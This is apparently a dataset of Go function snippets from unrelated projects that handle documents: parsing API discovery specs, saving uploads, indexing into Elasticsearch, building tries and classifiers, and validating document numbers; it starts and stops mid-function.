compiler.Display(v8))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// Icons icons = 9;\n\t\tv9 := compiler.MapValueForKey(m, \"icons\")\n\t\tif v9 != nil {\n\t\t\tvar err error\n\t\t\tx.Icons, err = NewIcons(v9, compiler.NewContext(\"icons\", v9, context))\n\t\t\tif err != nil {\n\t\t\t\terrors = append(errors, err)\n\t\t\t}\n\t\t}\n\t\t// string documentation_link = 10;\n\t\tv10 := compiler.MapValueForKey(m, \"documentationLink\")\n\t\tif v10 != nil {\n\t\t\tx.DocumentationLink, ok = compiler.StringForScalarNode(v10)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for documentationLink: %s\", compiler.Display(v10))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// repeated string labels = 11;\n\t\tv11 := compiler.MapValueForKey(m, \"labels\")\n\t\tif v11 != nil {\n\t\t\tv, ok := compiler.SequenceNodeForNode(v11)\n\t\t\tif ok {\n\t\t\t\tx.Labels = compiler.StringArrayForSequenceNode(v)\n\t\t\t} else {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for labels: %s\", compiler.Display(v11))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string protocol = 12;\n\t\tv12 := compiler.MapValueForKey(m, \"protocol\")\n\t\tif v12 != nil {\n\t\t\tx.Protocol, ok = compiler.StringForScalarNode(v12)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for protocol: %s\", compiler.Display(v12))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string base_url = 13;\n\t\tv13 := compiler.MapValueForKey(m, \"baseUrl\")\n\t\tif v13 != nil {\n\t\t\tx.BaseUrl, ok = compiler.StringForScalarNode(v13)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for baseUrl: %s\", compiler.Display(v13))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string base_path = 14;\n\t\tv14 := compiler.MapValueForKey(m, \"basePath\")\n\t\tif v14 != nil {\n\t\t\tx.BasePath, ok = compiler.StringForScalarNode(v14)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for basePath: %s\", compiler.Display(v14))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string root_url = 15;\n\t\tv15 := compiler.MapValueForKey(m, \"rootUrl\")\n\t\tif v15 != nil {\n\t\t\tx.RootUrl, ok = compiler.StringForScalarNode(v15)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for rootUrl: %s\", compiler.Display(v15))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string service_path = 16;\n\t\tv16 := compiler.MapValueForKey(m, \"servicePath\")\n\t\tif v16 != nil {\n\t\t\tx.ServicePath, ok = compiler.StringForScalarNode(v16)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for servicePath: %s\", compiler.Display(v16))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string batch_path = 17;\n\t\tv17 := compiler.MapValueForKey(m, \"batchPath\")\n\t\tif v17 != nil {\n\t\t\tx.BatchPath, ok = compiler.StringForScalarNode(v17)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for batchPath: %s\", compiler.Display(v17))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// Parameters parameters = 18;\n\t\tv18 := compiler.MapValueForKey(m, \"parameters\")\n\t\tif v18 != nil {\n\t\t\tvar err error\n\t\t\tx.Parameters, err = NewParameters(v18, compiler.NewContext(\"parameters\", v18, context))\n\t\t\tif err != nil {\n\t\t\t\terrors = append(errors, err)\n\t\t\t}\n\t\t}\n\t\t// Auth auth = 19;\n\t\tv19 := compiler.MapValueForKey(m, \"auth\")\n\t\tif v19 != nil {\n\t\t\tvar err error\n\t\t\tx.Auth, err = NewAuth(v19, compiler.NewContext(\"auth\", v19, context))\n\t\t\tif err != nil {\n\t\t\t\terrors = append(errors, err)\n\t\t\t}\n\t\t}\n\t\t// repeated string features = 20;\n\t\tv20 := compiler.MapValueForKey(m, \"features\")\n\t\tif v20 != nil {\n\t\t\tv, ok := compiler.SequenceNodeForNode(v20)\n\t\t\tif ok {\n\t\t\t\tx.Features = compiler.StringArrayForSequenceNode(v)\n\t\t\t} else {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for features: %s\", compiler.Display(v20))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// Schemas schemas = 21;\n\t\tv21 := compiler.MapValueForKey(m, \"schemas\")\n\t\tif v21 != nil {\n\t\t\tvar err error\n\t\t\tx.Schemas, err = NewSchemas(v21, compiler.NewContext(\"schemas\", v21, context))\n\t\t\tif err != nil {\n\t\t\t\terrors = append(errors, err)\n\t\t\t}\n\t\t}\n\t\t// Methods methods = 22;\n\t\tv22 := compiler.MapValueForKey(m, \"methods\")\n\t\tif v22 != nil {\n\t\t\tvar err error\n\t\t\tx.Methods, err = NewMethods(v22, compiler.NewContext(\"methods\", v22, context))\n\t\t\tif err != nil {\n\t\t\t\terrors = append(errors, err)\n\t\t\t}\n\t\t}\n\t\t// Resources resources = 23;\n\t\tv23 := compiler.MapValueForKey(m, \"resources\")\n\t\tif v23 != nil {\n\t\t\tvar err error\n\t\t\tx.Resources, err = NewResources(v23, compiler.NewContext(\"resources\", v23, context))\n\t\t\tif err != nil {\n\t\t\t\terrors = append(errors, err)\n\t\t\t}\n\t\t}\n\t\t// string etag = 24;\n\t\tv24 := compiler.MapValueForKey(m, \"etag\")\n\t\tif v24 != nil {\n\t\t\tx.Etag, ok = compiler.StringForScalarNode(v24)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for etag: %s\", compiler.Display(v24))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string owner_domain = 25;\n\t\tv25 := compiler.MapValueForKey(m, \"ownerDomain\")\n\t\tif v25 != nil {\n\t\t\tx.OwnerDomain, ok = compiler.StringForScalarNode(v25)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for ownerDomain: %s\", compiler.Display(v25))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string owner_name = 26;\n\t\tv26 := compiler.MapValueForKey(m, \"ownerName\")\n\t\tif v26 != nil {\n\t\t\tx.OwnerName, ok = compiler.StringForScalarNode(v26)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for ownerName: %s\", compiler.Display(v26))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// bool version_module = 27;\n\t\tv27 := compiler.MapValueForKey(m, \"version_module\")\n\t\tif v27 != nil {\n\t\t\tx.VersionModule, ok = compiler.BoolForScalarNode(v27)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for version_module: %s\", compiler.Display(v27))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string canonical_name = 28;\n\t\tv28 := compiler.MapValueForKey(m, \"canonicalName\")\n\t\tif v28 != nil {\n\t\t\tx.CanonicalName, ok = compiler.StringForScalarNode(v28)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for canonicalName: %s\", compiler.Display(v28))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// bool fully_encode_reserved_expansion = 29;\n\t\tv29 := compiler.MapValueForKey(m, \"fullyEncodeReservedExpansion\")\n\t\tif v29 != nil {\n\t\t\tx.FullyEncodeReservedExpansion, ok = compiler.BoolForScalarNode(v29)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for fullyEncodeReservedExpansion: %s\", compiler.Display(v29))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string package_path = 30;\n\t\tv30 := compiler.MapValueForKey(m, \"packagePath\")\n\t\tif v30 != nil {\n\t\t\tx.PackagePath, ok = compiler.StringForScalarNode(v30)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for packagePath: %s\", compiler.Display(v30))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string mtls_root_url = 31;\n\t\tv31 := compiler.MapValueForKey(m, \"mtlsRootUrl\")\n\t\tif v31 != nil {\n\t\t\tx.MtlsRootUrl, ok = compiler.StringForScalarNode(v31)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for mtlsRootUrl: %s\", compiler.Display(v31))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t}\n\treturn x, compiler.NewErrorGroupOrNil(errors)\n}", "func saveDocument(key string, c *gin.Context) *ResponseType {\n\tfilePath := dataDir + \"/\" + key\n\tfi, err := os.Stat(filePath)\n\tif err == nil && fi.Size() > 0 {\n\t\treturn newErrorResp(key, \"file exists\", fmt.Errorf(\"file already exists for key %s\", key))\n\t}\n\tf, err := os.Create(filePath)\n\tif err != nil {\n\t\treturn newErrorResp(key, \"file creation error\", fmt.Errorf(\"error creating file for key %s: %s\", key, err.Error()))\n\t}\n\tdefer f.Close()\n\t_, err = io.Copy(f, c.Request.Body)\n\tif err != nil {\n\t\treturn newErrorResp(key, \"file write error\", fmt.Errorf(\"error copying body to file for key %s: %s\", key, err.Error()))\n\t}\n\tname := c.Request.FormValue(\"name\")\n\tcontentType := c.Request.Header.Get(\"Content-Type\")\n\textractor := c.Request.FormValue(\"extractor\")\n\ttitle := c.Request.FormValue(\"dc:title\")\n\tcreation := c.Request.FormValue(\"dcterms:created\")\n\tmodification := c.Request.FormValue(\"dcterms:modified\")\n\tmetadata := DocMetadata{\n\t\tTimestamp: time.Now().Unix(),\n\t\tName: name,\n\t\tContentType: contentType,\n\t\tExtractor: extractor,\n\t\tTitle: title,\n\t\tCreationDate: creation,\n\t\tModificationDate: modification,\n\t}\n\terr = saveMetadata(key, &metadata)\n\tif err != nil {\n\t\treturn newErrorResp(key, \"file metadata write error\", fmt.Errorf(\"error saving metadata for key %s: %s\", key, err.Error()))\n\t}\n\treturn newSuccessResp(key, \"document saved\")\n}", "func (m *sparse) Add(index *index.TermIndex, weight classifier.WeightScheme, docWordFreq map[string]float64) {\n\tprev := len(m.ind)\n\tfor term := range docWordFreq {\n\t\tm.ind = append(m.ind, index.IndexOf(term))\n\t\tm.val = append(m.val, weight(term))\n\t}\n\n\tcur := prev + len(docWordFreq)\n\tquickSort(m, prev, cur-1)\n\tm.ptr = append(m.ptr, cur)\n}", "func doTextProcessor(p proc.TextProcessor, label string, c *Chunk, msg string) *Chunk {\n\tres := p.Run(c.Data)\n\n\tfor _, match := range res.Matches {\n\t\tformattedMsg := fmt.Sprintf(msg)\n\t\tc.Matches = append(c.Matches, NewMatch(match.Match, label, match.Indices, formattedMsg))\n\t\tc.Score += 1\n\t}\n\n\treturn c\n}", "func (classifier *Classifier) Learn(docs ...Document) {\n\tlog.Infof(\"-----------------------start Learn-----------------------\")\n\tdefer func() {\n\t\tlog.Infof(\"-----------------------end Learn-----------------------\")\n\t}()\n\tclassifier.NAllDocument += len(docs)\n\n\tfor _, doc := range docs {\n\t\tclassifier.NDocumentByClass[doc.Class]++\n\n\t\ttokens := doc.Tokens\n\t\tif classifier.Model == MultinomialBoolean {\n\t\t\ttokens = classifier.removeDuplicate(doc.Tokens...)\n\t\t}\n\n\t\tfor _, token := range tokens {\n\t\t\tclassifier.NFrequencyByClass[doc.Class]++\n\n\t\t\tif _, exist := classifier.LearningResults[token]; !exist {\n\t\t\t\tclassifier.LearningResults[token] = make(map[Class]int)\n\t\t\t}\n\n\t\t\tclassifier.LearningResults[token][doc.Class]++\n\t\t}\n\t}\n\n\tfor class, nDocument := range classifier.NDocumentByClass {\n\t\tlog.Infof(\"class : [%s] nDocument : [%d] NAllDocument : [%d]\", class, nDocument, classifier.NAllDocument)\n\t\tclassifier.PriorProbabilities[class] = float64(nDocument) / float64(classifier.NAllDocument)\n\t}\n}", "func (b *BotApp) SetDocument(value DocumentClass) {\n\tb.Flags.Set(0)\n\tb.Document = value\n}", "func New(callback Processor) *Document {\n\treturn &Document{callback: callback}\n}", "func (e Es) PutDocument(index string, doc string, id string, reqBody string) (string, error) {\n\tif id == \"-\" {\n\t\tid = \"\"\n\t}\n\tbody, err := e.putJSON(fmt.Sprintf(\"/%s/%s/%s\", index, doc, id), reqBody)\n\tif err != nil {\n\t\treturn \"failed\", err\n\t}\n\terr = checkError(body)\n\tif err != nil {\n\t\treturn \"failed\", err\n\t}\n\tresult, ok := body[\"result\"].(string)\n\tif !ok {\n\t\treturn \"failed\", fmt.Errorf(\"Failed to parse response\")\n\t}\n\treturn result, nil\n}", "func readDocContentFromFile(addDocArgV addDocArgs, docClient DocClient) ([]*rspace.DocumentInfo, error) {\n\tcreatedDocs := make([]*rspace.DocumentInfo, 0)\n\n\t// else is form, we add content if there is any\n\t// TODO implement this, use CSV data as an example.\n\tformId, err := idFromGlobalId(addDocArgV.FormId)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar toPost = rspace.DocumentPost{}\n\ttoPost.Name = addDocArgV.NameArg\n\ttoPost.Tags = addDocArgV.Tags\n\ttoPost.FormID = rspace.FormId{formId}\n\tif len(addDocArgV.InputData) > 0 {\n\t\tf, err := os.Open(addDocArgV.InputData)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tcsvIn, err := readCsvFile(f)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\terr = validateCsvInput(csvIn)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\t// iterate of each row in file\n\t\tfor i, v := range csvIn {\n\t\t\t// ignore 1st line - header\n\t\t\tif i == 0 {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tmessageStdErr(fmt.Sprintf(\"%d of %d\", i, len(csvIn)-1))\n\t\t\tvar content []rspace.FieldContent = make([]rspace.FieldContent, 0)\n\t\t\t// convert each column into a field\n\t\t\tfor _, v2 := range v {\n\t\t\t\tcontent = append(content, rspace.FieldContent{Content: v2})\n\t\t\t}\n\t\t\ttoPost.Fields = content\n\t\t\t// add suffix to name if > 1 document being created\n\t\t\tif i > 1 {\n\t\t\t\ttoPost.Name = fmt.Sprintf(\"%s-%d\", toPost.Name, i)\n\t\t\t}\n\t\t\tdoc, err := docClient.NewDocumentWithContent(&toPost)\n\t\t\tif err != nil {\n\t\t\t\tmessageStdErr(fmt.Sprintf(\"Could not create document from data in row %d\", i))\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tcreatedDocs = append(createdDocs, doc.DocumentInfo)\n\t\t}\n\t}\n\treturn createdDocs, nil\n}", "func (trie *Trie) addMovie(s string, id int) {\n\ts = strings.ToLower(s)\n\n\tres := strings.Fields(s)\n\n\tstrings.ToLower(s)\n\n\tif trie.root == nil {\n\t\ttmp := new(TNode)\n\t\ttmp.isword = false\n\t\ttmp.cnodes = make(map[string]*TNode)\n\t\ttrie.root = tmp\n\t}\n\n\tfor i := range res {\n\t\ttrie.root.addString(res[i], id)\n\t}\n}", "func (handler DocHandler) Create(w http.ResponseWriter, r *http.Request) {\n\tvar doc models.Doc\n\tjson.NewDecoder(r.Body).Decode(&doc)\n\n\tvalidate := validator.New()\n\n\terr := validate.Struct(doc)\n\tif err != nil {\n\t\tresponse.JSON(w, response.Result{Error: \"Error creating document\"}, http.StatusNotAcceptable)\n\t\treturn\n\t}\n\n\thandler.DB.Create(&doc)\n\tresponse.JSON(w, response.Result{Result: \"Document Created\"}, http.StatusCreated)\n}", "func (wt *WaterTower) PostDocument(uniqueKey string, document *Document) (uint32, error) {\n\tretryCount := 50\n\tvar lastError error\n\tvar docID uint32\n\tnewTags, newDocTokens, wordCount, titleWordCount, err := wt.analyzeDocument(\"new\", document)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\tfor i := 0; i < retryCount; i++ {\n\t\tdocID, lastError = wt.postDocumentKey(uniqueKey)\n\t\tif lastError == nil {\n\t\t\tbreak\n\t\t}\n\t}\n\tif lastError != nil {\n\t\treturn 0, fmt.Errorf(\"fail to register document's unique key: %w\", lastError)\n\t}\n\tfor i := 0; i < retryCount; i++ {\n\t\toldDoc, err := wt.postDocument(docID, uniqueKey, wordCount, titleWordCount, document)\n\t\tif err != nil {\n\t\t\tlastError = err\n\t\t\tcontinue\n\t\t}\n\t\toldTags, oldDocTokens, _, _, err := wt.analyzeDocument(\"old\", oldDoc)\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\t\terr = wt.updateTagsAndTokens(docID, oldTags, newTags, oldDocTokens, newDocTokens)\n\t\tif err != nil {\n\t\t\tlastError = err\n\t\t\tcontinue\n\t\t}\n\t\treturn docID, nil\n\t}\n\treturn 0, fmt.Errorf(\"fail to register document: %w\", lastError)\n}", "func (es ES) AddTool(tool globals.Perco) error {\n\tif tool.Name == \"\" || tool.Query.Regexp.Input == \"\" {\n\t\treturn errors.New(\"cannot create empty tool\")\n\t}\n\n\tb, err := json.Marshal(tool)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_, err = es.Client.Index().\n\t\tIndex(\"tools\").\n\t\tId(tool.ID).\n\t\tRefresh(\"true\").\n\t\tType(\"_doc\").\n\t\tBodyString(string(b)).\n\t\tDo(es.Context)\n\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error creating document : %s\", err.Error())\n\t}\n\treturn nil\n}", "func SaveQueryTextSearch(q *QueryTextSearch) {\n\tsession, err := mgo.Dial(\"mongodb://localhost\")\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer session.Close()\n\n\tcollQueriesTextSearch := common.GetCollection(session, \"queries.textsearch\")\n\n\terr = collQueriesTextSearch.Insert(q)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n}", "func (p *Parser) ParseDocument(doc string, quote bool) ([]*basically.Sentence, []*basically.Token, error) {\n\tsents := p.sentTokenizer.Segment(doc)\n\tretSents := make([]*basically.Sentence, 0, len(sents))\n\tretTokens := make([]*basically.Token, 0, len(sents)*15)\n\n\ttokCounter := 0\n\tfor idx, sent := range sents {\n\t\ttokens := p.wordTokenizer.Tokenize(sent.Text)\n\t\ttokens = p.tagger.Tag(tokens)\n\n\t\t// Convert struct from []*prose.Token to []*basically.Token.\n\t\tbtokens := make([]*basically.Token, 0, len(tokens))\n\t\tfor _, tok := range tokens {\n\t\t\tbtok := basically.Token{Tag: tok.Tag, Text: strings.ToLower(tok.Text), Order: tokCounter}\n\t\t\tbtokens = append(btokens, &btok)\n\t\t\ttokCounter++\n\t\t}\n\n\t\t// Analyzes sentence sentiment.\n\t\tsentiment := p.analyzer.PolarityScores(sent.Text).Compound\n\n\t\tretSents = append(retSents, &basically.Sentence{\n\t\t\tRaw: sent.Text,\n\t\t\tTokens: btokens,\n\t\t\tSentiment: sentiment,\n\t\t\tBias: 1.0,\n\t\t\tOrder: idx,\n\t\t})\n\n\t\tretTokens = append(retTokens, btokens...)\n\t}\n\n\treturn retSents, retTokens, nil\n}", "func (d *Decoder) AddWord(word, phones String, update bool) (id int32, ok bool) {\n\tret := pocketsphinx.AddWord(d.dec, word.S(), phones.S(), b(update))\n\tif ret < 0 {\n\t\treturn 0, false\n\t}\n\treturn ret, true\n}", "func NewDocumentService(config *autoconfig.Config, ctx context.Context) (*DocumentService, error) {\n\ts := &DocumentService{\n\t\tconfig: config,\n\t\tHandler: mux.NewRouter(),\n\t}\n\ts.createClients(ctx)\n\n\t// These is the un-authenticated endpoint that handles authentication with Auth0.\n\ts.Handler.HandleFunc(\"/debug/health\", health.StatusHandler).Methods(\"GET\")\n\ts.Handler.Handle(\"/login\", middleware.JSON(authentication.Handler(config))).Methods(\"POST\")\n\n\t// These requests all require authentication.\n\tlogMiddleware := logging.LogMiddleware{\n\t\tTable: s.bigquery.Dataset(config.Get(\"bigquery.dataset\")).Table(config.Get(\"bigquery.log_table\")),\n\t}\n\tauthRouter := s.Handler.PathPrefix(\"/document\").Subrouter()\n\tauthRouter.Handle(\"/\", middleware.JSON(authentication.Middleware(config, s.ListDocuments))).Methods(\"GET\")\n\tauthRouter.Handle(\"/\", middleware.JSON(authentication.Middleware(config, s.UploadDocument))).Methods(\"POST\")\n\tauthRouter.Handle(\"/{id}\", authentication.Middleware(config, s.GetDocument)).Methods(\"GET\")\n\tauthRouter.Handle(\"/{id}\", middleware.JSON(authentication.Middleware(config, s.DeleteDocument))).Methods(\"DELETE\")\n\tauthRouter.Use(logMiddleware.Middleware)\n\tauthRouter.Use(handlers.CompressHandler)\n\treturn s, nil\n}", "func ParseDocument(data []byte) (*Doc, error) {\n\t// validate did document\n\tif err := validate(data); err != nil {\n\t\treturn nil, err\n\t}\n\n\traw := &rawDoc{}\n\n\terr := json.Unmarshal(data, &raw)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"JSON marshalling of did doc bytes bytes failed: %w\", err)\n\t}\n\n\tpublicKeys, err := populatePublicKeys(raw.PublicKey)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"populate public keys failed: %w\", err)\n\t}\n\n\tauthPKs, err := populateAuthentications(raw.Authentication, publicKeys)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"populate authentications failed: %w\", err)\n\t}\n\n\tproofs, err := populateProofs(raw.Proof)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"populate proofs failed: %w\", err)\n\t}\n\n\treturn &Doc{Context: raw.Context,\n\t\tID: raw.ID,\n\t\tPublicKey: publicKeys,\n\t\tService: populateServices(raw.Service),\n\t\tAuthentication: authPKs,\n\t\tCreated: raw.Created,\n\t\tUpdated: raw.Updated,\n\t\tProof: proofs,\n\t}, nil\n}", "func (dao *FilingDaoImpl) AddDocuments(filing *model.Filing, docs []*model.Document) error {\n\tif filing == nil || filing.ID == \"\" {\n\t\treturn fmt.Errorf(\"no filing to add docs to\")\n\t}\n\tif len(docs) == 0 {\n\t\treturn fmt.Errorf(\"no docs\")\n\t}\n\tf := filingAsRecord(filing)\n\tvar totalSize int64\n\trecords := []*Document{}\n\tfor _, doc := range docs {\n\t\trec := documentPartial(doc)\n\t\trec.FilingID = filing.ID\n\t\trec.Data = []byte(doc.Body)\n\t\tsize := int64(len(rec.Data))\n\t\trec.SizeEstimate = byteCountDecimal(size)\n\t\ttotalSize += size\n\t\trecords = append(records, rec)\n\t}\n\tf.DocumentCount = int64(len(records))\n\tf.TotalSizeEstimate = byteCountDecimal(totalSize)\n\tf.Updated = time.Now()\n\n\ttx, err := dao.db.Begin()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Insert docs.\n\terr = dao.db.Insert(&records)\n\tif err != nil {\n\t\ttx.Rollback()\n\t\treturn err\n\t}\n\n\t_, err = tx.Model(f).Column(\"doc_count\", \"total_size_est\", \"updated\").WherePK().Update()\n\tif err != nil {\n\t\ttx.Rollback()\n\t\treturn err\n\t}\n\n\treturn tx.Commit()\n}", "func CreateDocument( vehicleid string, latitude, longitude float64 ) error {\n\n\tid := uuid.Must(uuid.NewV4()).String()\n\tjsonData := jsonDocument(vehicleid, latitude, longitude)\n\n\tctx := context.Background()\n\tdoc, err := client.Index().\n\t\tIndex(os.Getenv(\"ELASTICSEARCH_INDEX\")).\n\t\tType(os.Getenv(\"ELASTICSEARCH_TYPE\")).\n\t Id(id).\n\t BodyString(jsonData).\n\t Do(ctx)\n\tcommon.CheckError(err)\n\tlog.Printf(\"Indexed geolocation %s to index %s, type %s\\n\", doc.Id, doc.Index, doc.Type)\n\treturn nil\n}", "func (f *TFIDF) Cal(doc string) (weight map[string]float64) {\n\tweight = make(map[string]float64)\n\n\tvar termFreq map[string]int\n\n\tdocPos := f.docPos(doc)\n\tif docPos < 0 {\n\t\ttermFreq = f.termFreq(doc)\n\t} else {\n\t\ttermFreq = f.termFreqs[docPos]\n\t}\n\n\tdocTerms := 0\n\tfor _, freq := range termFreq {\n\t\tdocTerms += freq\n\t}\n\tfor term, freq := range termFreq {\n\t\tweight[term] = tfidf(freq, docTerms, f.termDocs[term], f.n)\n\t}\n\n\treturn weight\n}", "func (b *Batch) Add(document ...DataObject) *Batch {\n\tb.Data = append(b.Data, document...)\n\treturn b\n}", "func (s *DocumentStore) CreateDocument(ctx context.Context, d *influxdb.Document) error {\n\treturn s.service.kv.Update(ctx, func(tx Tx) error {\n\t\t// Check that labels exist before creating the document.\n\t\t// Mapping creation would check for that, but cannot anticipate that until we\n\t\t// have a valid document ID.\n\t\tfor _, l := range d.Labels {\n\t\t\tif _, err := s.service.findLabelByID(ctx, tx, l.ID); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\terr := s.service.createDocument(ctx, tx, s.namespace, d)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tfor orgID := range d.Organizations {\n\t\t\tif err := s.service.addDocumentOwner(ctx, tx, orgID, d.ID); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\tfor _, l := range d.Labels {\n\t\t\tif err := s.addDocumentLabelMapping(ctx, tx, d.ID, l.ID); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t})\n}", "func (d *Doc) AddFormattedText(x, y float64, content string, size int, style string) {\n\td.SetFontSize(size)\n\td.SetFontStyle(style)\n\td.AddText(x, y, content)\n\td.DefaultFontSize()\n\td.DefaultFontStyle()\n}", "func (c *Classifier) createTargetIndexedDocument(in []byte) *indexedDocument {\n\tdoc := tokenize(in)\n\treturn c.generateIndexedDocument(doc, false)\n}", "func (t *TrieNode) Add(str string, scene *sfmovies.Scene) {\n\tstr = CleanString(str)\n\tt.recursiveAdd(str, scene)\n}", "func (b *Builder) AddTextFunc(f func(io.Writer) error) *Builder {\n\tb.textFunc = f\n\treturn b\n}", "func (g Generator) NewDocument(eventTime time.Time, d *pathway.Document) *ir.Document {\n\treturn g.documentGenerator.Document(eventTime, d)\n}", "func CreateDocument(data interface{}) error {\n\tid, rev, err := DB.CreateDocument(data)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn err\n\t}\n\n\tUsersDoc.Rev = rev\n\tUsersDoc.ID = id\n\n\treturn nil\n}", "func (this *Corpus) Load(fn string) {\n\tf, err := os.Open(fn)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tif this.Docs == nil {\n\t\tthis.Docs = make(map[uint32][]*WordCount)\n\t}\n\tvocabMaxId := uint32(0)\n\n\tscanner := bufio.NewScanner(f)\n\tfor scanner.Scan() {\n\t\tdoc := scanner.Text()\n\t\tvals := strings.Split(doc, \" \")\n\t\tif len(vals) < 2 {\n\t\t\tlog.Warningf(\"bad document: %s\", doc)\n\t\t\tcontinue\n\t\t}\n\n\t\tdocId, err := strconv.ParseUint(vals[0], 10, 32)\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\n\t\tthis.DocNum += uint32(1)\n\n\t\tfor _, kv := range vals[1:] {\n\t\t\twc := strings.Split(kv, \":\")\n\t\t\tif len(wc) != 2 {\n\t\t\t\tlog.Warningf(\"bad word count: %s\", kv)\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\twordId, err := strconv.ParseUint(wc[0], 10, 32)\n\t\t\tif err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\n\t\t\tcount, err := strconv.ParseUint(wc[1], 10, 32)\n\t\t\tif err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\n\t\t\tthis.Docs[uint32(docId)] = append(this.Docs[uint32(docId)], &WordCount{\n\t\t\t\tWordId: uint32(wordId),\n\t\t\t\tCount: uint32(count),\n\t\t\t})\n\t\t\tif uint32(wordId) > vocabMaxId {\n\t\t\t\tvocabMaxId = uint32(wordId)\n\t\t\t}\n\t\t}\n\t}\n\tthis.VocabSize = vocabMaxId + 1\n\n\tlog.Infof(\"number of documents %d\", this.DocNum)\n\tlog.Infof(\"vocabulary size %d\", this.VocabSize)\n}", "func NewDocument(record interface{}, readonly ...bool) *Document {\n\tswitch v := record.(type) {\n\tcase *Document:\n\t\treturn v\n\tcase reflect.Value:\n\t\treturn newDocument(v.Interface(), v, len(readonly) > 0 && readonly[0])\n\tcase reflect.Type:\n\t\tpanic(\"rel: cannot use reflect.Type\")\n\tcase nil:\n\t\tpanic(\"rel: cannot be nil\")\n\tdefault:\n\t\treturn newDocument(v, reflect.ValueOf(v), len(readonly) > 0 && readonly[0])\n\t}\n}", "func (t MatchTask) AddSentence(contextMarker string, text string) {\n\tvar words = strings.Fields(text)\n\tvar sentence = Sentence{0, words}\n\n\tt.sentenceByContextMarker[contextMarker] = sentence\n}", "func ProcessDocument(document string) (string, bool) {\n\n regRule, err := regexp.Compile(\"[^0-9]+\")\n if err != nil {\n log.Print(err)\n }\n processedDocument := regRule.ReplaceAllString(document, \"\")\n stringSize := len(processedDocument)\n\n if stringSize == 11 { //Validação dos dígitos verificadores\n return processedDocument, 